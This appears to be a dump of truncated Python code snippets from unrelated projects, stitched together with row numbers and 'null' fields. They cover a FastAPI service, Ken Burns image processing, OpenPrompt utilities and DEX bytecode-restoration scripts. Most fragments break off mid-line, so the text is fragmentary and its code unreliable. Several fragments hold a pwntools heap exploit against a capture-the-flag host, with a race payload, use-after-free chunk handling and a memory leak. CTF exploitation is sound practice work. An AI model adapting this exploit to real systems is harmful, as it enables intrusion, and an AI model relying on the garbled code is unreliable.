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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
### Creates a new organization ### <u>Args:</u> - **namespace**: Unique namespace for the organization (ex. openai) - **name**: Name of the organization (ex. OpenAI) - **bot_url**: URL of the bot (ex. https://t.me/your_bot) ### <u>Returns:</u> - OrganizationRead --- <details><summary>👇 💻 Code examples:</summary> ### ...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime imp...
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from sqlalchemy.dialects.postgresql import JSONB from sqlalchemy.orm import declared_attr from pgvector.sqlalchemy import Vector from sqlalchemy import Column from datetime import datetime from util import snake_case import uuid as uuid_pkg from sqlmodel import ( UniqueConstraint, create_engine, Relationshi...
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from sqlalchemy.dialects.postgresql import JSONB from sqlalchemy.orm import declared_attr from pgvector.sqlalchemy import Vector from sqlalchemy import Column from datetime import datetime from util import snake_case import uuid as uuid_pkg from sqlmodel import ( UniqueConstraint, create_engine, Relationshi...
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from fastapi import HTTPException from uuid import UUID import os from typing import ( Optional, Union ) from config import ( FILE_UPLOAD_PATH, ENTITY_STATUS, logger ) from util import ( is_uuid, get_file_hash ) from sqlmodel import ( Session, select ) from datetime import datetime f...
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from fastapi import ( HTTPException, FastAPI, Depends, ) import requests import logging import asyncio import httpx import yaml import sys import os logger = logging.getLogger(__name__) logger.debug( f"NGROK_HOST: {NGROK_HOST}:{NGROK_PORT}\nNGROK_API_URL: {NGROK_API_URL}\nNGROK_INTERNAL_WEBHOOK_HOST: {N...
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from fastapi import ( HTTPException, FastAPI, Depends, ) import requests import logging import asyncio import httpx import yaml import sys import os logger = logging.getLogger(__name__) logger.debug( f"NGROK_HOST: {NGROK_HOST}:{NGROK_PORT}\nNGROK_API_URL: {NGROK_API_URL}\nNGROK_INTERNAL_WEBHOOK_HOST: {N...
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from fastapi import ( HTTPException, FastAPI, Depends, ) import requests import logging import asyncio import httpx import yaml import sys import os CREDENTIALS_READY = False async def check_endpoint_availability(): if not CREDENTIALS_READY: raise HTTPException(status_code=403, detail="Endpoint...
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from fastapi import ( HTTPException, FastAPI, Depends, ) import requests import logging import asyncio import httpx import yaml import sys import os async def health_check(): return {"status": "ok"}
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def depth_to_points(tenDepth, fltFocal): def spatial_filter(tenInput, strType): def process_load(npyImage, objSettings): objCommon['fltFocal'] = 1024 / 2.0 objCommon['fltBaseline'] = 40.0 objCommon['intWidth'] = npyImage.shape[1] objCommon['intHeight'] = npyImage.shape[0] tenImage = torch.FloatTensor(numpy.ascon...
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def process_shift(objSettings): fltClosestDepth = objCommon['objDepthrange'][0] + (objSettings['fltDepthTo'] - objSettings['fltDepthFrom']) fltClosestFromU = objCommon['objDepthrange'][2][0] fltClosestFromV = objCommon['objDepthrange'][2][1] fltClosestToU = fltClosestFromU + objSettings['fltShiftU'] fltClosestToV ...
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def process_inpaint(tenShift): objInpainted = pointcloud_inpainting(objCommon['tenRawImage'], objCommon['tenRawDisparity'], tenShift) objInpainted['tenDepth'] = (objCommon['fltFocal'] * objCommon['fltBaseline']) / (objInpainted['tenDisparity'] + 0.0000001) objInpainted['tenValid'] = (spatial_filter(objInpainted['ten...
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import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import to...
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import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import to...
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import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import to...
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import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import to...
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import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import to...
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import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import to...
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import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import to...
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netSemantics = Semantics().cuda().eval() netDisparity = Disparity().cuda().eval() netDisparity.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.hub.load_state_dict_from_url(url='http://content.sniklaus.com/kenburns/network-disparity.pytorch', file_name='kenburns-disparity').it...
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netRefine = Refine().cuda().eval() netRefine.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.hub.load_state_dict_from_url(url='http://content.sniklaus.com/kenburns/network-refinement.pytorch', file_name='kenburns-refinement').items() }) def disparity_refinement(tenImage, ten...
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netMaskrcnn = torchvision.models.detection.maskrcnn_resnet50_fpn(pretrained=True).cuda().eval() def disparity_adjustment(tenImage, tenDisparity): assert(tenImage.shape[0] == 1) assert(tenDisparity.shape[0] == 1) boolUsed = {} tenMasks = [] objPredictions = netMaskrcnn([ tenImage[ 0, [ 2, 0, 1 ], :, : ] ])[0] ...
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netInpaint = Inpaint().cuda().eval() netInpaint.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.hub.load_state_dict_from_url(url='http://content.sniklaus.com/kenburns/network-inpainting.pytorch', file_name='kenburns-inpainting').items() }) def pointcloud_inpainting(tenImage,...
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import logging import time from typing import Callable import uvicorn from fastapi import FastAPI, Request from routers.embeddings import router The provided code snippet includes necessary dependencies for implementing the `add_process_time_header` function. Write a Python function `async def add_process_time_header(...
All responses come with process time information
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import tensorflow_hub as hub from fastapi import APIRouter, Body from schemas.emebeddings import EmbeddingsRequest, EmbeddingsResponse EMBED = hub.load("https://tfhub.dev/google/universal-sentence-encoder-large/5") class EmbeddingsRequest(BaseModel): strings: List[str] class EmbeddingsResponse(EmbeddingsRequest)...
Embeds a list of strings, returning a list of floats for every string input
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import setuptools import os import importlib requires = """ transformers>=4.10.0 sentencepiece==0.1.96 # scikit-learn>=0.24.2 tqdm>=4.62.2 tensorboardX nltk yacs dill datasets rouge==1.0.0 pyarrow scipy """ def get_requirements(): ret = [x for x in requires.split("\n") if len(x)>0] print("requirements:", ret) ...
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import sys import datetime import sphinx_rtd_theme import doctest import openprompt from openprompt import prompts rst_context = {'openprompt': openprompt} def setup(app): def skip(app, what, name, obj, skip, options): members = [ '__init__', '__repr__', '__weakref__', ...
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import os import sys import argparse from openprompt.trainer import ClassificationRunner, GenerationRunner from openprompt.lm_bff_trainer import LMBFFClassificationRunner from openprompt.protoverb_trainer import ProtoVerbClassificationRunner from re import template from openprompt.pipeline_base import PromptForClassifi...
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from typing import * from tqdm import tqdm from collections import defaultdict import warnings import numpy as np from paddlenlp.data import Stack, Tuple, Pad import paddle from utils import signature from data_utils import InputFeatures def create_dataloader(dataset_origin, mode='train', ...
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import itertools import warnings from typing import Union, List, Tuple, Dict, Optional from collections import defaultdict import numpy as np import inspect from collections import namedtuple from math import ceil The provided code snippet includes necessary dependencies for implementing the `signature` function. Writ...
r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s
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import itertools import warnings from typing import Union, List, Tuple, Dict, Optional from collections import defaultdict import numpy as np import inspect from collections import namedtuple from math import ceil The provided code snippet includes necessary dependencies for implementing the `round_list` function. Wri...
r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate.
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import argparse import torch from openprompt import plms from openprompt.plms import * from transformers import GPTJConfig, GPTJModel, GPTJForCausalLM, GPT2Tokenizer from openprompt.plms import load_plm from openprompt.prompts import MixedTemplate from openprompt.data_utils.conditional_generation_dataset import UltraCh...
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import argparse from yacs.config import CfgNode import sys from openprompt.utils.utils import check_config_conflicts from .default_config import get_default_config from openprompt.utils.logging import logger import os _VALID_TYPES = {tuple, list, str, int, float, bool, type(None)} The provided code snippet includes ne...
Convert a config node to dictionary
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import argparse from yacs.config import CfgNode import sys from openprompt.utils.utils import check_config_conflicts from .default_config import get_default_config from openprompt.utils.logging import logger import os logger = logging.getLogger() def save_config_to_yaml(config): from contextlib import redirect_st...
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import argparse from yacs.config import CfgNode import sys from openprompt.utils.utils import check_config_conflicts from .default_config import get_default_config from openprompt.utils.logging import logger import os def get_user_config(usr_config_path, default_config=None): if default_config is None: conf...
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from math import ceil import os import shutil from typing import List import inspect from collections import namedtuple import torch from yacs.config import CfgNode from openprompt.utils.logging import logger The provided code snippet includes necessary dependencies for implementing the `round_list` function. Write a ...
r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate.
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from math import ceil import os import shutil from typing import List import inspect from collections import namedtuple import torch from yacs.config import CfgNode from openprompt.utils.logging import logger The provided code snippet includes necessary dependencies for implementing the `signature` function. Write a P...
r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s
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import numpy as np import string import re from collections import Counter from sklearn.metrics import matthews_corrcoef, f1_score from scipy.stats import pearsonr, spearmanr from rouge import Rouge def get_matthews_corr(data, predictions): # only cola is using this...? new_predictions = [] for prediction i...
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import logging import os import datetime import logging The provided code snippet includes necessary dependencies for implementing the `config_experiment_dir` function. Write a Python function `def config_experiment_dir(config)` to solve the following problem: r""" Automatic generate log directory for experiments. Fi...
r""" Automatic generate log directory for experiments. First generate the unique_string of one experiment, if the user didn't specify one, according to the user-defined keys logging.unique_string_keys. Then create the directory.
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import logging import os import datetime logger = logging.getLogger() import logging def init_logger( log_file, log_file_level=logging.NOTSET, log_level=logging.INFO, ): if isinstance(log_file_level, str): log_file_level = getattr(logging, log_file_level) if isinstance(log_level, str): ...
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from yacs.config import CfgNode from openprompt.data_utils import FewShotSampler from torch.utils.data.dataset import Dataset from transformers.data.processors.utils import InputExample from openprompt.pipeline_base import PromptDataLoader, PromptModel, PromptForClassification from typing import * import torch from tqd...
r"""Calibrate. See `Paper <https://arxiv.org/abs/2108.02035>`_ Args: prompt_model (:obj:`PromptForClassification`): the PromptForClassification model. dataloader (:obj:`List`): the dataloader to conduct the calibrate, could be a virtual one, i.e. contain an only-template example. Return: (:obj:`torch.Tensor`) A tensor ...
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import torch from openprompt.utils.logging import logger logger = logging.getLogger() The provided code snippet includes necessary dependencies for implementing the `model_to_device` function. Write a Python function `def model_to_device(model, config)` to solve the following problem: r""" model: the model to be wrap...
r""" model: the model to be wrapped config: the environment subconfig.
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from sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score from typing import * from openprompt.utils.logging import logger def loose_micro(labels, preds, id2label, label_path_sep): if id2label is None: raise ValueError("no id2label dict provided, cannot calculate loose_micro_f1 !")...
evaluation metrics for classification task. Args: preds (Sequence[int]): predicted label ids for each examples labels (Sequence[int]): gold label ids for each examples metric (str, optional): type of evaluation function, support 'micro-f1', 'macro-f1', 'accuracy', 'precision', 'recall'. Defaults to "micro-f1". Returns:...
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from sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score from typing import * from openprompt.utils.logging import logger logger = logging.getLogger() The provided code snippet includes necessary dependencies for implementing the `generation_metric` function. Write a Python function `def ge...
r"""Some basic metric function for generation. However, many generation tasks has their own evaluation bash scripts. Args: hypos (:obj:`str`) : the generated sentence. refs (:obj:`list(str)`) : the referenced (ground-truth) sentence. metric (:obj:`str`, `optional`) : the type of metric option Returns: score (float): ev...
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import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) print('Generating payload') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print('.', end='') ...
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import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) RACE_SIZE = 40000 n_results = RACE_SIZE print('Generating payload') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end=''...
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import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) n_results = RACE_SIZE p.interactive() def alloc(value): time.sleep(0.1) global n_results p.sendline(b'1') p.sendline(b'1') p.sendline(value) p.sendline(b'2') p.recvuntil(b' results\n') ...
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import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) p.interactive() def free(i): time.sleep(0.1) p.sendline(b'3') p.sendline(b'%d' % i) p.recvuntil(b'Choose a result: #') p.sendline(b'2') # p.recvuntil(b'Result deleted')
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import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) p.interactive() def read_back(i): time.sleep(0.1) p.sendline(b'3') p.sendline(b'%d' % i) p.recvuntil(b'Choose a result: #') p.sendline(b'1') p.recvuntil(b'Input: ') value = p.recvuntil(b'\n...
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import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) RACE_SIZE = 40000 race_payload = b''.join(b'%d\n' % i for i in range(RACE_SIZE)) log.info('Overlapped chunks: results %d and %d' % (uaf_one, uaf_two)) log.info('Free uaf 1') log.info('Free shield') log.info('Leak: ' + ...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
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17,379
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,380
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,381
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,382
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,383
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,384
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,385
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,386
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,387
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,388
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,389
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,390
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/fr...
null
17,391
import sys import struct import array import base64 import re func_point = [parse_FMT10T, parse_FMT10X, parse_FMT11N, parse_FMT11X, parse_FMT12X, parse_FMT20T, parse_FMT21C, parse_FMT21H, parse_FMT21S, parse_FMT21T, parse_FMT22B, parse_FMT22C, parse_FMT22S, parse_FMT22T, parse_FMT22X, parse_FMT23X, parse_FMT3...
null
17,392
import sys import struct import array import base64 import re func_point = [parse_FMT10T, parse_FMT10X, parse_FMT11N, parse_FMT11X, parse_FMT12X, parse_FMT20T, parse_FMT21C, parse_FMT21H, parse_FMT21S, parse_FMT21T, parse_FMT22B, parse_FMT22C, parse_FMT22S, parse_FMT22T, parse_FMT22X, parse_FMT23X, parse_FMT3...
null
17,393
import sys import struct import array insfilename ="722044_ins.bin" import base64 import re methodTable={} class CodeItem: def __init__(self,number,methodname, inssize,insarray): import getopt def parseinsfile(): global insfilename insfile=open(insfilename) content=insfile.read() insfile.close() ...
null
17,394
import sys import struct import array import base64 import re def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5...
null
17,395
import sys import struct import array import base64 import re def get_uleb128p1(content): n, value = get_uleb128(content) value -= 1 return n, value def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (...
null
17,396
import sys import struct import array import base64 import re def get_uleb128p1(content): n, value = get_uleb128(content) value -= 1 return n, value def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (...
null
17,397
import sys import struct import array import base64 import re def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5...
null
17,398
import sys import struct import array import base64 import re import getopt def shorty_decode(name): val = {"V":"void", "Z":"boolean", "B":"byte", "S":"short", "C":"char", "I":"int", "J":"long", "F":"float", "D":"double", "L":"L" } value = "" if name[-1] == ';': if name[0] == 'L': return n...
null
17,399
import sys import struct import array import base64 import re def get_uleb128(content): def parse_encoded_value(lex_object,content,is_root=False): def parse_encoded_annotation(lex_object,content,is_root=False): import getopt def parse_encoded_value4441(lex_object,content,is_root=False): offset = 0 arg_type, = struct...
null
17,400
import sys import struct import array import base64 import re def parse_annotation_set_item(lex_object,offset,is_root=False): try: size, = struct.unpack_from("I",lex_object.m_content,offset) offset += struct.calcsize("I") for i in xrange(0,size): off,=struct.unpack_from("I",lex_object.m_content,offset) vis...
null
17,401
import sys import struct import array import base64 import re def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5...
null
17,402
import sys import struct import array import base64 import re def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5...
null
17,403
import sys import struct import array filename = "_data_app_com.example.dexcode-1_base.apk0.dex_722044_0" insfilename ="722044_ins.bin" import base64 import re import getopt def init(): global filename global insfilename try: opts, args = getopt.getopt(sys.argv[1:], "h:d:i:", ["dumpdexfile=", "insfile="]) except...
null
17,404
from collections import defaultdict from typing import Optional from urllib.parse import urlparse import datetime import glob import importlib import json import logging import os import re import shutil import subprocess import sys import time class UserData: def __init__(self, user_id: str, handle: str): ...
Fill the users dictionary with data from Twitter